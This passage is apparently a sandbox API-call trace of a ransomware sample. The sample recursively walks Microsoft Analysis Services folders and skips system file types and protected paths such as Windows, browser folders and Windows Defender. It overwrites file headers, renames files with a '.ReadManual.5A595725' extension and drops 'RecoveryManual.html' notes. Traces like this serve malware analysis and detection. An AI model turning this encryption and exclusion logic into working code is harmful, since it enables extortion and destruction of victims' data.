out: lpString1="sql90.xsl") returned="sql90.xsl" [0258.566] lstrcmpiW (lpString1="sql90.xsl", lpString2="RecoveryManual.html") returned 1 [0258.566] StrStrIW (lpFirst="sql90.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.566] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.566] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.566] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0258.566] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ReadManual.5A595725" [0258.566] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ReadManual.5A595725") returned 101 [0258.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37923493762) returned 1 [0258.566] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0258.566] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.567] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=39515) returned 1 [0258.567] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a5b, lpName=0x0) returned 0x1a0 [0258.567] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0258.567] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.567] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.569] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.569] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a5b) returned 0x2f0000 [0258.570] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.570] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37923890190) returned 1 [0258.570] CloseHandle (hObject=0x1a0) returned 1 [0258.570] SetSecurityInfo () returned 0x57 [0258.570] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.570] CloseHandle (hObject=0x184) returned 1 [0258.571] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0258.571] lstrcpyW (in: lpString1=0x6ab92c, lpString2="Sybase.xsl" | out: lpString1="Sybase.xsl") returned="Sybase.xsl" [0258.571] lstrcmpiW (lpString1="Sybase.xsl", lpString2="RecoveryManual.html") returned 1 [0258.571] StrStrIW (lpFirst="Sybase.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.571] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.571] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.572] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.572] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0258.572] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ReadManual.5A595725" [0258.572] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ReadManual.5A595725") returned 102 [0258.572] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37924057400) returned 1 [0258.572] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0258.573] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.573] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=29790) returned 1 [0258.573] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x745e, lpName=0x0) returned 0x1a0 [0258.573] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0258.574] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.574] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.576] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.576] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x745e) returned 0x2f0000 [0258.576] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.577] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37924534745) returned 1 [0258.577] CloseHandle (hObject=0x1a0) returned 1 [0258.577] SetSecurityInfo () returned 0x57 [0258.577] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.577] CloseHandle (hObject=0x184) returned 1 [0258.577] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0258.577] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.577] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0258.577] lstrcpyW (in: lpString1=0x6ab916, lpString2="msmdlocal.dll" | out: lpString1="msmdlocal.dll") returned="msmdlocal.dll" [0258.577] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="RecoveryManual.html") returned -1 [0258.577] StrStrIW (lpFirst="msmdlocal.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.577] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0258.577] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0258.577] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0258.577] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RecoveryManual.html" [0258.577] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RecoveryManual.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0258.578] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0258.579] CloseHandle (hObject=0x194) returned 1 [0258.579] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0258.579] lstrcpyW (in: lpString1=0x6ab916, lpString2="msmgdsrv.dll" | out: lpString1="msmgdsrv.dll") returned="msmgdsrv.dll" [0258.579] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="RecoveryManual.html") returned -1 [0258.579] StrStrIW (lpFirst="msmgdsrv.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.579] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0258.579] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0258.579] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0258.579] lstrcpyW (in: lpString1=0x6ab916, lpString2="msolap100.dll" | out: lpString1="msolap100.dll") returned="msolap100.dll" [0258.579] lstrcmpiW (lpString1="msolap100.dll", lpString2="RecoveryManual.html") returned -1 [0258.579] StrStrIW (lpFirst="msolap100.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.579] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0258.579] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0258.579] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0258.579] lstrcpyW (in: lpString1=0x6ab916, lpString2="msolui100.dll" | out: lpString1="msolui100.dll") returned="msolui100.dll" [0258.579] lstrcmpiW (lpString1="msolui100.dll", lpString2="RecoveryManual.html") returned -1 [0258.579] StrStrIW (lpFirst="msolui100.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.579] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0258.579] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0258.579] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0258.579] lstrcpyW (in: lpString1=0x69b916, lpString2="Resources" | out: lpString1="Resources") returned="Resources" [0258.579] lstrcatW (in: lpString1="Resources", lpString2="\\" | out: lpString1="Resources\\") returned="Resources\\" [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\Windows\\") returned 0x0 [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\WINNT") returned 0x0 [0258.579] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.580] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.580] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned 71 [0258.580] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.580] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0258.580] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.580] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.581] lstrcpyW (in: lpString1=0x69b92a, lpString2="1033" | out: lpString1="1033") returned="1033" [0258.581] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\Windows\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\WINNT") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Mozilla\\Firefox\\") 